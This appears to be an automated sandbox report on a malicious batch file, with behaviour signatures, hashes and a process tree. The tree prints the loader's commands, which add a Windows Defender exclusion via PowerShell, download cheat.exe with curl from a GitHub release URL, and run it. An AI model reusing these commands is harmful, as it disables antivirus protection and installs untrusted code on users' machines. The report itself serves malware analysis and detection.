Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 23:59

General

  • Target
    Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
  • Size 3KB
  • Sample260808-31te3azzgx
  • SHA256 8c224b994c1fbe4af638b8a8bb0ce7b2f49472e8fd296716516e0bc35d5d6524
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 7 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5908
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5400
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5416
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:3804
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:1384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2328
      • C:\Windows\system32\curl.exe
        curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
        2⤵
        • Downloads MZ/PE file
        PID:4528
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:2016
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5992
      • C:\Users\Admin\AppData\Local\Temp\cheat.exe
        "C:\Users\Admin\AppData\Local\Temp\cheat.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3152
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5328
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:4660

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          cheat.exe

          • Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
          • Size 676KB
          • SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2328-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-16-0x00000220FADC0000-0x00000220FAE72000-memory.dmp

          memory/2328-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp

          memory/2328-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-4-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-5-0x00000220FAD50000-0x00000220FAD72000-memory.dmp

          memory/2328-15-0x00000220FADA0000-0x00000220FADBE000-memory.dmp

          memory/2328-17-0x00000220FAD90000-0x00000220FAD9A000-memory.dmp

          memory/2328-18-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-20-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-19-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-22-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-23-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

          memory/2328-3-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp